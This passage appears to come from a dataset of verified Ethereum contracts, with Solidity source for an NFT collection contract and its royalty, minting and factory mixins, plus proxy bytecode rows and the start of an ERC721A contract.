The collection's `symbol`.\n */\n function initialize(\n address payable _creator,\n string calldata _name,\n string calldata _symbol\n ) external initializer onlyContractFactory {\n __ERC721_init(_name, _symbol);\n _initializeSequentialMintCollection(_creator);\n // maxTokenId defaults to 0 but may be assigned later on.\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mint(string calldata tokenCID) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintAndApprove(string calldata tokenCID, address operator) external returns (uint256 tokenId) {\n tokenId = _mint(tokenCID);\n setApprovalForAll(operator, true);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentAddress(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress\n ) public returns (uint256 tokenId) {\n if (tokenCreatorPaymentAddress == address(0)) {\n revert NFTCollection_Token_Creator_Payment_Address_Required();\n }\n tokenId = _mint(tokenCID);\n tokenIdToCreatorPaymentAddress[tokenId] = tokenCreatorPaymentAddress;\n emit TokenCreatorPaymentAddressSet(address(0), tokenCreatorPaymentAddress, tokenId);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and approves the provided operator address.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param tokenCreatorPaymentAddress The royalty recipient address to use for this NFT.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentAddressAndApprove(\n string calldata tokenCID,\n address payable tokenCreatorPaymentAddress,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n setApprovalForAll(operator, true);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentFactory(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall\n ) public returns (uint256 tokenId) {\n address payable tokenCreatorPaymentAddress = paymentAddressFactory.callAndReturnContractAddress(paymentAddressCall);\n tokenId = mintWithCreatorPaymentAddress(tokenCID, tokenCreatorPaymentAddress);\n }\n\n /**\n * @notice Mint an NFT defined by its metadata path and have creator revenue/royalties sent to an alternate address\n * which is defined by a contract call, typically a proxy contract address representing the payment terms.\n * @dev This is only callable by the collection creator/owner.\n * It can be used the first time they mint to save having to issue a separate approval\n * transaction before listing the NFT for sale.\n * @param tokenCID The CID for the metadata json of the NFT to mint.\n * @param paymentAddressFactory The contract to call which will return the address to use for payments.\n * @param paymentAddressCall The call details to send to the factory provided.\n * @param operator The address to set as an approved operator for the creator's account.\n * @return tokenId The tokenId of the newly minted NFT.\n */\n function mintWithCreatorPaymentFactoryAndApprove(\n string calldata tokenCID,\n address paymentAddressFactory,\n bytes calldata paymentAddressCall,\n address operator\n ) external returns (uint256 tokenId) {\n tokenId = mintWithCreatorPaymentFactory(tokenCID, paymentAddressFactory, paymentAddressCall);\n setApprovalForAll(operator, true);\n }\n\n /**\n * @notice Allows the collection creator to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n * @dev Once destructed, a new collection could be deployed to this address (although that's discouraged).\n */\n function selfDestruct() external onlyOwner {\n _selfDestruct();\n }\n\n /**\n * @notice Allows the owner to assign a baseURI to use for the tokenURI instead of the default `ipfs://`.\n * @param baseURIOverride The new base URI to use for all NFTs in this collection.\n */\n function updateBaseURI(string calldata baseURIOverride) external onlyOwner {\n baseURI_ = baseURIOverride;\n\n emit BaseURIUpdated(baseURIOverride);\n }\n\n /**\n * @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * This max may be more than the final `totalSupply` if 1 or more tokens were burned.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n */\n function updateMaxTokenId(uint32 _maxTokenId) external onlyOwner {\n _updateMaxTokenId(_maxTokenId);\n }\n\n /**\n * @inheritdoc ERC721Upgradeable\n * @dev The function here asserts `onlyOwner` while the super confirms ownership.\n */\n function _burn(uint256 tokenId) internal override(ERC721Upgradeable, SequentialMintCollection) onlyOwner {\n delete cidToMinted[_tokenCIDs[tokenId]];\n delete tokenIdToCreatorPaymentAddress[tokenId];\n delete _tokenCIDs[tokenId];\n super._burn(tokenId);\n }\n\n function _mint(string calldata tokenCID) private onlyOwner returns (uint256 tokenId) {\n if (bytes(tokenCID).length == 0) {\n revert NFTCollection_Token_CID_Required();\n }\n if (cidToMinted[tokenCID] != 0) {\n revert NFTCollection_Token_CID_Already_Minted();\n }\n // If the mint will exceed uint32, the addition here will overflow. But it's not realistic to mint that many tokens.\n tokenId = ++latestTokenId;\n if (maxTokenId != 0 && tokenId > maxTokenId) {\n revert NFTCollection_Max_Token_Id_Has_Already_Been_Minted(maxTokenId);\n }\n cidToMinted[tokenCID] = 1;\n _tokenCIDs[tokenId] = tokenCID;\n _safeMint(msg.sender, tokenId);\n emit Minted(msg.sender, tokenId, tokenCID, tokenCID);\n }\n\n /**\n * @notice The base URI used for all NFTs in this collection.\n * @dev The `tokenCID` is appended to this to obtain an NFT's `tokenURI`.\n * e.g. The URI for a token with the `tokenCID`: \"foo\" and `baseURI`: \"ipfs://\" is \"ipfs://foo\".\n * @return uri The base URI used by this collection.\n */\n function baseURI() external view returns (string memory uri) {\n uri = _baseURI();\n }\n\n /**\n * @notice Checks if the creator has already minted a given NFT using this collection contract.\n * @param tokenCID The CID to check for.\n * @return hasBeenMinted True if the creator has already minted an NFT with this CID.\n */\n function getHasMintedCID(string calldata tokenCID) external view returns (bool hasBeenMinted) {\n hasBeenMinted = cidToMinted[tokenCID] != 0;\n }\n\n /**\n * @inheritdoc CollectionRoyalties\n */\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view override returns (address payable creatorPaymentAddress) {\n creatorPaymentAddress = tokenIdToCreatorPaymentAddress[tokenId];\n if (creatorPaymentAddress == address(0)) {\n creatorPaymentAddress = owner;\n }\n }\n\n /**\n * @inheritdoc IERC165Upgradeable\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n override(ERC165Upgradeable, ERC721Upgradeable, NFTCollectionType, CollectionRoyalties)\n returns (bool interfaceSupported)\n {\n interfaceSupported = super.supportsInterface(interfaceId);\n }\n\n /**\n * @inheritdoc IERC721MetadataUpgradeable\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory uri) {\n _requireMinted(tokenId);\n\n uri = string.concat(_baseURI(), _tokenCIDs[tokenId]);\n }\n\n function _baseURI() internal view override returns (string memory uri) {\n uri = baseURI_;\n if (bytes(uri).length == 0) {\n uri = \"ipfs://\";\n }\n }\n}\n"
},
"contracts/interfaces/internal/INFTCollectionInitializer.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @title Declares the interface for initializing an NFTCollection contract.\n * @author batu-inal & HardlyDifficult\n */\ninterface INFTCollectionInitializer {\n function initialize(address payable _creator, string memory _name, string memory _symbol) external;\n}\n"
},
"contracts/interfaces/internal/INFTCollectionType.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @title Declares the type of the collection contract.\n * @dev This interface is declared as an ERC-165 interface.\n * @author reggieag\n */\ninterface INFTCollectionType {\n function getNFTCollectionType() external view returns (string memory collectionType);\n}\n"
},
"contracts/interfaces/standards/royalties/IGetFees.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @notice An interface for communicating fees to 3rd party marketplaces.\n * @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3\n */\ninterface IGetFees {\n /**\n * @notice Get the recipient addresses to which creator royalties should be sent.\n * @dev The expected royalty amounts are communicated with `getFeeBps`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n */\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients);\n\n /**\n * @notice Get the creator royalty amounts to be sent to each recipient, in basis points.\n * @dev The expected recipients are communicated with `getFeeRecipients`.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n */\n function getFeeBps(uint256 tokenId) external view returns (uint256[] memory royaltiesInBasisPoints);\n}\n"
},
"contracts/interfaces/standards/royalties/IGetRoyalties.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface IGetRoyalties {\n /**\n * @notice Get the creator royalties to be sent.\n * @dev The data is the same as when calling `getFeeRecipients` and `getFeeBps` separately.\n * @param tokenId The ID of the NFT to get royalties for.\n * @return recipients An array of addresses to which royalties should be sent.\n * @return royaltiesInBasisPoints The array of fees to be sent to each recipient, in basis points.\n */\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints);\n}\n"
},
"contracts/interfaces/standards/royalties/IRoyaltyInfo.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/**\n * @notice Interface for EIP-2981: NFT Royalty Standard.\n * For more see: https://eips.ethereum.org/EIPS/eip-2981.\n */\ninterface IRoyaltyInfo {\n /**\n * @notice Get the creator royalties to be sent.\n * @param tokenId The ID of the NFT to get royalties for.\n * @param salePrice The total price of the sale.\n * @return receiver The address to which royalties should be sent.\n * @return royaltyAmount The total amount that should be sent to the `receiver`.\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"contracts/interfaces/standards/royalties/ITokenCreator.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\ninterface ITokenCreator {\n /**\n * @notice Returns the creator of this NFT collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creator The creator of this collection.\n */\n function tokenCreator(uint256 tokenId) external view returns (address payable creator);\n}\n"
},
"contracts/libraries/AddressLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nstruct CallWithoutValue {\n address target;\n bytes callData;\n}\n\nerror AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(address addressReturned);\n\n/**\n * @title A library for address helpers not already covered by the OZ library.\n * @author batu-inal & HardlyDifficult\n */\nlibrary AddressLibrary {\n using AddressUpgradeable for address;\n using AddressUpgradeable for address payable;\n\n /**\n * @notice Calls an external contract with arbitrary data and parse the return value into an address.\n * @param externalContract The address of the contract to call.\n * @param callData The data to send to the contract.\n * @return contractAddress The address of the contract returned by the call.\n */\n function callAndReturnContractAddress(\n address externalContract,\n bytes calldata callData\n ) internal returns (address payable contractAddress) {\n bytes memory returnData = externalContract.functionCall(callData);\n contractAddress = abi.decode(returnData, (address));\n if (!contractAddress.isContract()) {\n revert AddressLibrary_Proxy_Call_Did_Not_Return_A_Contract(contractAddress);\n }\n }\n\n function callAndReturnContractAddress(\n CallWithoutValue calldata call\n ) internal returns (address payable contractAddress) {\n contractAddress = callAndReturnContractAddress(call.target, call.callData);\n }\n}\n"
},
"contracts/mixins/collections/CollectionRoyalties.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/IGetFees.sol\";\nimport \"../../interfaces/standards/royalties/IGetRoyalties.sol\";\nimport \"../../interfaces/standards/royalties/IRoyaltyInfo.sol\";\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nimport \"../shared/Constants.sol\";\n\n/**\n * @title Defines various royalty APIs for broad marketplace support.\n * @author batu-inal & HardlyDifficult\n */\nabstract contract CollectionRoyalties is IGetRoyalties, IGetFees, IRoyaltyInfo, ITokenCreator, ERC165Upgradeable {\n /**\n * @inheritdoc IGetFees\n */\n function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory recipients) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n }\n\n /**\n * @inheritdoc IGetFees\n * @dev The tokenId param is ignored since all NFTs return the same value.\n */\n function getFeeBps(uint256 /* tokenId */) external pure returns (uint256[] memory royaltiesInBasisPoints) {\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /**\n * @inheritdoc IGetRoyalties\n */\n function getRoyalties(\n uint256 tokenId\n ) external view returns (address payable[] memory recipients, uint256[] memory royaltiesInBasisPoints) {\n recipients = new address payable[](1);\n recipients[0] = getTokenCreatorPaymentAddress(tokenId);\n royaltiesInBasisPoints = new uint256[](1);\n royaltiesInBasisPoints[0] = ROYALTY_IN_BASIS_POINTS;\n }\n\n /**\n * @notice The address to pay the creator proceeds/royalties for the collection.\n * @param tokenId The ID of the NFT to get the creator payment address for.\n * @return creatorPaymentAddress The address to which royalties should be paid.\n */\n function getTokenCreatorPaymentAddress(\n uint256 tokenId\n ) public view virtual returns (address payable creatorPaymentAddress);\n\n /**\n * @inheritdoc IRoyaltyInfo\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = getTokenCreatorPaymentAddress(tokenId);\n unchecked {\n royaltyAmount = salePrice / ROYALTY_RATIO;\n }\n }\n\n /**\n * @inheritdoc IERC165Upgradeable\n * @dev Checks the supported royalty interfaces.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = (interfaceId == type(IRoyaltyInfo).interfaceId ||\n interfaceId == type(ITokenCreator).interfaceId ||\n interfaceId == type(IGetRoyalties).interfaceId ||\n interfaceId == type(IGetFees).interfaceId ||\n super.supportsInterface(interfaceId));\n }\n}\n"
},
"contracts/mixins/collections/NFTCollectionType.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\nimport \"@openzeppelin/contracts/utils/ShortStrings.sol\";\n\nimport \"../../interfaces/internal/INFTCollectionType.sol\";\n\n/**\n * @title A mixin to add the NFTCollectionType interface to a contract.\n * @author HardlyDifficult & reggieag\n */\nabstract contract NFTCollectionType is INFTCollectionType, ERC165Upgradeable {\n using ShortStrings for string;\n using ShortStrings for ShortString;\n\n ShortString private immutable _collectionTypeName;\n\n constructor(string memory collectionTypeName) {\n _collectionTypeName = collectionTypeName.toShortString();\n }\n\n /**\n * @notice Returns a name of the type of collection this contract represents.\n * @return collectionType The collection type.\n */\n function getNFTCollectionType() external view returns (string memory collectionType) {\n collectionType = _collectionTypeName.toString();\n }\n\n /**\n * @inheritdoc IERC165Upgradeable\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool interfaceSupported) {\n interfaceSupported = interfaceId == type(INFTCollectionType).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/mixins/collections/SequentialMintCollection.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\n\nimport \"../../interfaces/standards/royalties/ITokenCreator.sol\";\n\nerror SequentialMintCollection_Caller_Is_Not_Owner(address owner);\nerror SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(uint256 totalSupply);\n\n/**\n * @title Extends the OZ ERC721 implementation for collections which mint sequential token IDs.\n * @author batu-inal & HardlyDifficult\n */\nabstract contract SequentialMintCollection is ITokenCreator, ERC721BurnableUpgradeable {\n /****** Slot 0 (after inheritance) ******/\n /**\n * @notice The creator/owner of this NFT collection.\n * @dev This is the default royalty recipient if a different `paymentAddress` was not provided.\n * @return The collection's creator/owner address.\n */\n address payable public owner;\n\n /**\n * @notice The tokenId of the most recently created NFT.\n * @dev Minting starts at tokenId 1. Each mint will use this value + 1.\n * @return The most recently minted tokenId, or 0 if no NFTs have been minted yet.\n */\n uint32 public latestTokenId;\n\n /**\n * @notice Tracks how many tokens have been burned.\n * @dev This number is used to calculate the total supply efficiently.\n */\n uint32 private burnCounter;\n\n // 32-bits free space\n\n /****** End of storage ******/\n\n /**\n * @notice Emitted when this collection is self destructed by the creator/owner/admin.\n * @param admin The account which requested this contract be self destructed.\n */\n event SelfDestruct(address indexed admin);\n\n modifier onlyOwner() {\n if (msg.sender != owner) {\n revert SequentialMintCollection_Caller_Is_Not_Owner(owner);\n }\n _;\n }\n\n function _initializeSequentialMintCollection(address payable _creator) internal {\n owner = _creator;\n }\n\n /**\n * @notice Allows the collection owner to destroy this contract only if\n * no NFTs have been minted yet or the minted NFTs have been burned.\n */\n function _selfDestruct() internal {\n if (totalSupply() != 0) {\n revert SequentialMintCollection_Minted_NFTs_Must_Be_Burned_First(totalSupply());\n }\n\n emit SelfDestruct(msg.sender);\n selfdestruct(payable(msg.sender));\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n unchecked {\n // Number of burned tokens cannot exceed latestTokenId which is the same size.\n ++burnCounter;\n }\n super._burn(tokenId);\n }\n\n /**\n * @inheritdoc ITokenCreator\n * @dev The tokenId param is ignored since all NFTs return the same value.\n */\n function tokenCreator(uint256 /* tokenId */) external view returns (address payable creator) {\n creator = owner;\n }\n\n /**\n * @notice Returns the total amount of tokens stored by the contract.\n * @dev From the ERC-721 enumerable standard.\n * @return supply The total number of NFTs tracked by this contract.\n */\n function totalSupply() public view returns (uint256 supply) {\n unchecked {\n // Number of tokens minted is always >= burned tokens.\n supply = latestTokenId - burnCounter;\n }\n }\n}\n"
},
"contracts/mixins/collections/TokenLimitedCollection.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"./SequentialMintCollection.sol\";\n\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_May_Not_Increase(uint256 currentMaxTokenId);\nerror TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(uint256 currentMintedCount);\nerror TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n\n/**\n * @title Defines an upper limit on the number of tokens which may be minted by this collection.\n * @author HardlyDifficult\n */\nabstract contract TokenLimitedCollection is SequentialMintCollection {\n /**\n * @notice The max tokenId which can be minted.\n * @dev This max may be less than the final `totalSupply` if 1 or more tokens were burned.\n * @return The max tokenId which can be minted.\n */\n uint32 public maxTokenId;\n\n /**\n * @notice Emitted when the max tokenId supported by this collection is updated.\n * @param maxTokenId The new max tokenId. All NFTs in this collection will have a tokenId less than\n * or equal to this value.\n */\n event MaxTokenIdUpdated(uint256 indexed maxTokenId);\n\n function _initializeTokenLimitedCollection(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n // When 0 is desired, the collection may choose to simply not call this initializer.\n revert TokenLimitedCollection_Max_Token_Id_Must_Not_Be_Zero();\n }\n\n maxTokenId = _maxTokenId;\n }\n\n /**\n * @notice Allows the owner to set a max tokenID.\n * This provides a guarantee to collectors about the limit of this collection contract, if applicable.\n * @dev Once this value has been set, it may be decreased but can never be increased.\n * @param _maxTokenId The max tokenId to set, all NFTs must have a tokenId less than or equal to this value.\n */\n function _updateMaxTokenId(uint32 _maxTokenId) internal {\n if (_maxTokenId == 0) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Be_Cleared(maxTokenId);\n }\n if (maxTokenId != 0 && _maxTokenId >= maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_May_Not_Increase(maxTokenId);\n }\n if (latestTokenId > _maxTokenId) {\n revert TokenLimitedCollection_Max_Token_Id_Must_Be_Greater_Than_Current_Minted_Count(latestTokenId);\n }\n\n maxTokenId = _maxTokenId;\n emit MaxTokenIdUpdated(_maxTokenId);\n }\n}\n"
},
"contracts/mixins/shared/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\n/// Constant values shared across mixins.\n\n/**\n * @dev 100% in basis points.\n */\nuint256 constant BASIS_POINTS = 10_000;\n\n/**\n * @dev The default admin role defined by OZ ACL modules.\n */\nbytes32 constant DEFAULT_ADMIN_ROLE = 0x00;\n\n////////////////////////////////////////////////////////////////\n// Royalties & Take Rates\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev The max take rate an exhibition can have.\n */\nuint256 constant MAX_EXHIBITION_TAKE_RATE = 5_000;\n\n/**\n * @dev Cap the number of royalty recipients.\n * A cap is required to ensure gas costs are not too high when a sale is settled.\n */\nuint256 constant MAX_ROYALTY_RECIPIENTS = 5;\n\n/**\n * @dev Default royalty cut paid out on secondary sales.\n * Set to 10% of the secondary sale.\n */\nuint96 constant ROYALTY_IN_BASIS_POINTS = 1_000;\n\n/**\n * @dev Reward paid to referrers when a sale is made.\n * Set to 1% of the sale amount. This 1% is deducted from the protocol fee.\n */\nuint96 constant BUY_REFERRER_IN_BASIS_POINTS = 100;\n\n/**\n * @dev 10%, expressed as a denominator for more efficient calculations.\n */\nuint256 constant ROYALTY_RATIO = BASIS_POINTS / ROYALTY_IN_BASIS_POINTS;\n\n/**\n * @dev 1%, expressed as a denominator for more efficient calculations.\n */\nuint256 constant BUY_REFERRER_RATIO = BASIS_POINTS / BUY_REFERRER_IN_BASIS_POINTS;\n\n////////////////////////////////////////////////////////////////\n// Gas Limits\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev The gas limit used when making external read-only calls.\n * This helps to ensure that external calls does not prevent the market from executing.\n */\nuint256 constant READ_ONLY_GAS_LIMIT = 40_000;\n\n/**\n * @dev The gas limit to send ETH to multiple recipients, enough for a 5-way split.\n */\nuint256 constant SEND_VALUE_GAS_LIMIT_MULTIPLE_RECIPIENTS = 210_000;\n\n/**\n * @dev The gas limit to send ETH to a single recipient, enough for a contract with a simple receiver.\n */\nuint256 constant SEND_VALUE_GAS_LIMIT_SINGLE_RECIPIENT = 20_000;\n\n////////////////////////////////////////////////////////////////\n// Collection Type Names\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev The NFT collection type.\n */\nstring constant NFT_COLLECTION_TYPE = \"NFT Collection\";\n\n/**\n * @dev The NFT drop collection type.\n */\nstring constant NFT_DROP_COLLECTION_TYPE = \"NFT Drop Collection\";\n\n/**\n * @dev The NFT timed edition collection type.\n */\nstring constant NFT_TIMED_EDITION_COLLECTION_TYPE = \"NFT Timed Edition Collection\";\n\n/**\n * @dev The NFT limited edition collection type.\n */\nstring constant NFT_LIMITED_EDITION_COLLECTION_TYPE = \"NFT Limited Edition Collection\";\n\n////////////////////////////////////////////////////////////////\n// Business Logic\n////////////////////////////////////////////////////////////////\n\n/**\n * @dev Limits scheduled start/end times to be less than 2 years in the future.\n */\nuint256 constant MAX_SCHEDULED_TIME_IN_THE_FUTURE = 365 days * 2;\n\n/**\n * @dev The minimum increase of 10% required when making an offer or placing a bid.\n */\nuint256 constant MIN_PERCENT_INCREMENT_DENOMINATOR = BASIS_POINTS / 1_000;\n\n/**\n * @dev Protocol fee for edition mints in basis points.\n */\nuint256 constant EDITION_PROTOCOL_FEE_IN_BASIS_POINTS = 500;\n\n/**\n * @dev Hash of the edition type names.\n * This is precalculated in order to save gas on use.\n * `keccak256(abi.encodePacked(NFT_TIMED_EDITION_COLLECTION_TYPE))`\n */\nbytes32 constant timedEditionTypeHash = 0xee2afa3f960e108aca17013728aafa363a0f4485661d9b6f41c6b4ddb55008ee;\n\nbytes32 constant limitedEditionTypeHash = 0x7df1f68d01ab1a6ee0448a4c3fbda832177331ff72c471b12b0051c96742eef5;\n"
},
"contracts/mixins/shared/ContractFactory.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\n\nerror ContractFactory_Only_Callable_By_Factory_Contract(address contractFactory);\nerror ContractFactory_Factory_Is_Not_A_Contract();\n\n/**\n * @title Stores a reference to the factory which is used to create contract proxies.\n * @author batu-inal & HardlyDifficult\n */\nabstract contract ContractFactory {\n using AddressUpgradeable for address;\n\n /**\n * @notice The address of the factory which was used to create this contract.\n * @return The factory contract address.\n */\n address public immutable contractFactory;\n\n modifier onlyContractFactory() {\n if (msg.sender != contractFactory) {\n revert ContractFactory_Only_Callable_By_Factory_Contract(contractFactory);\n }\n _;\n }\n\n /**\n * @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create these contracts.\n */\n constructor(address _contractFactory) {\n if (!_contractFactory.isContract()) {\n revert ContractFactory_Factory_Is_Not_A_Contract();\n }\n contractFactory = _contractFactory;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 1337000
},
"outputSelection": {
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"*": [
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"evm.deployedBytecode",
"devdoc",
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"metadata",
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]
}
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"metadata": {
"useLiteralContent": true
},
"libraries": {}
}
}} |
1 | 19,495,029 | 1bcd0e81ad43550277f4b877fd92db802e9a00e3a2ba54a6188ab470e5f3c784 | 2f121690d3e8ad352add5a9cf5bd3ade8b499d827dc4a1932ac64606e6ba6a9e | a9a0b8a5e1adca0caccc63a168f053cd3be30808 | 01cd62ed13d0b666e2a10d13879a763dfd1dab99 | 061b94674d203f46e12258949f4f31348bd70d5f | 3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | |
1 | 19,495,032 | b8c8ab03f901f7821c5080d95c374b4f1491f67f4a6f3071ef0533a2d407b910 | bacd0a1b153f10212c7daeebbf2af9aadf9ff3936d41abb934648daffdebc881 | bb24cf1346ba6ca2f6572abf9bf3352d0526a189 | 76f948e5f13b9a84a81e5681df8682bbf524805e | ca32fa34ef54b6f69dc08fa401a911f7dd3dd9cb | 3d602d80600a3d3981f3363d3d373d3d3d363d736f6010fb5da6f757d5b1822aadf1d3b806d6546d5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d736f6010fb5da6f757d5b1822aadf1d3b806d6546d5af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/eip/ERC721AVirtualApproveUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v3.3.0\n// Creator: Chiru Labs\n\n////////// CHANGELOG: turn `approve` to virtual //////////\n\npragma solidity ^0.8.4;\n\nimport \"erc721a-upgradeable/contracts/IERC721AUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension. Built to optimize for lower gas during batch mints.\n *\n * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).\n *\n * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n *\n * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721AUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721AUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // The tokenId of the next token to be minted.\n uint256 internal _currentIndex;\n\n // The number of tokens burned.\n uint256 internal _burnCounter;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.\n mapping(uint256 => TokenOwnership) internal _ownerships;\n\n // Mapping owner address to address data\n mapping(address => AddressData) private _addressData;\n\n // Mapping from token ID to approved 